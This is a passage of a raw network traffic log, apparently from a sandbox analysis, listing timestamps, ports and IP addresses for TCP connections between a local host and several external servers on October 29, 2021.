Oct 29, 2021 15:31:19.868206024 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868248940 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868257046 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868283033 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868491888 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868514061 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868556976 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868562937 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868575096 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868752003 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868772030 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868803978 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868812084 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868834019 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869044065 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869066000 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869103909 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869110107 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869138956 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869293928 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869313955 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869345903 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869353056 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869383097 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869474888 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869514942 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869532108 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869538069 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869566917 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869575024 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.869625092 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.869944096 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.882673979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882715940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882744074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882770061 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882795095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882817984 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882831097 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.882837057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.882870913 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883428097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883455992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883476019 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883480072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883498907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883524895 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883524895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883548975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883573055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883575916 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883596897 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883620024 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883621931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883647919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883665085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883678913 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883743048 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883793116 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883820057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883857012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883879900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883882046 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883905888 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883929014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.883929014 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.883986950 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884031057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884536028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884562016 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884577990 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884587049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884607077 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884628057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884633064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884658098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884680986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884684086 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884701014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884725094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884726048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884752035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884776115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884792089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884798050 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884807110 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884815931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884840012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884856939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.884905100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.884943962 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885059118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885232925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885256052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885274887 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885278940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885303974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885324001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885325909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885349989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885365963 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885380983 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885400057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885548115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885571957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885595083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885610104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.885612965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.885644913 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886074066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886099100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886120081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886141062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886147022 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886162996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886181116 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886183023 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886198997 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886218071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886218071 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886240005 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886260986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886264086 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886277914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886296988 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886418104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886439085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886456966 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886459112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886475086 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886501074 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886560917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886584044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886604071 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.886605978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886621952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.886637926 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.951692104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951766968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951807022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951839924 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951874971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951893091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.951901913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951925993 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.951937914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951941013 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.951966047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.951991081 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.952069998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952100992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952147007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952176094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.952188015 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.952791929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952841043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952888012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952897072 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.952912092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952943087 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.952948093 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.952975035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953000069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953016996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953020096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953044891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953068018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953071117 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953108072 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953128099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953150988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953191996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953481913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953512907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953542948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953566074 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953569889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953598022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953625917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953638077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953646898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953665018 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953672886 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953701019 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953718901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.953727007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953752995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.953773022 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954152107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954185009 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954214096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954257965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954262018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954272032 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954294920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954327106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954332113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954355955 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954387903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954391956 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954451084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954495907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954510927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954524994 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954533100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954556942 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954560041 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954577923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954595089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954618931 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954649925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954826117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954848051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954869986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954891920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954894066 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954911947 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954931021 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.954933882 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954951048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.954981089 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955085993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955107927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955130100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955130100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955152988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955172062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955187082 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955195904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955202103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955219030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955265045 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955493927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955528021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955554962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955574989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955579042 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955606937 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955610037 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955638885 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955671072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955677986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.955693007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.955760956 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:20.015084982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:20.015117884 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:20.015132904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:20.015218973 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:20.234070063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:20.608896017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:20.609061003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:21.296044111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:21.296184063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:22.605812073 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:22.605993032 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:25.161699057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:25.161832094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:26.136064053 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:31:26.136171103 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:26.655639887 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.680233955 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.680269003 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.680277109 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.680511951 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.704948902 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.704984903 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.705100060 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.705229998 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.705333948 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.705528975 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.705662012 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.729825020 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.729856014 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.729866982 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.729967117 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.729979038 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.730082989 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.730135918 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.730221033 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.730691910 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.730941057 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.731045961 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.731641054 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.733694077 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.733824968 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.754477978 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.754508972 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.754890919 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.755294085 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.755315065 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.755683899 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.758121014 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.758147955 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.758222103 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.758774042 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.758944988 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.759238005 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.759844065 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.760412931 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.760663986 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.762290955 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.762429953 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.762523890 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.762578964 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.762691975 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.762727976 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.786906004 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.786936998 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.787309885 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.787800074 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.788244963 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.788584948 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.790035009 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.790060997 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.790241957 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.790738106 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.791162014 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.791686058 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.791923046 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.793816090 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.793972015 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.818281889 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.818473101 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.818795919 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.818989038 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.819406033 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.820122957 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.820472956 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.820969105 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:26.837855101 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:26.837955952 CEST	49844	28978	192.168.2.7	93.115.20.139
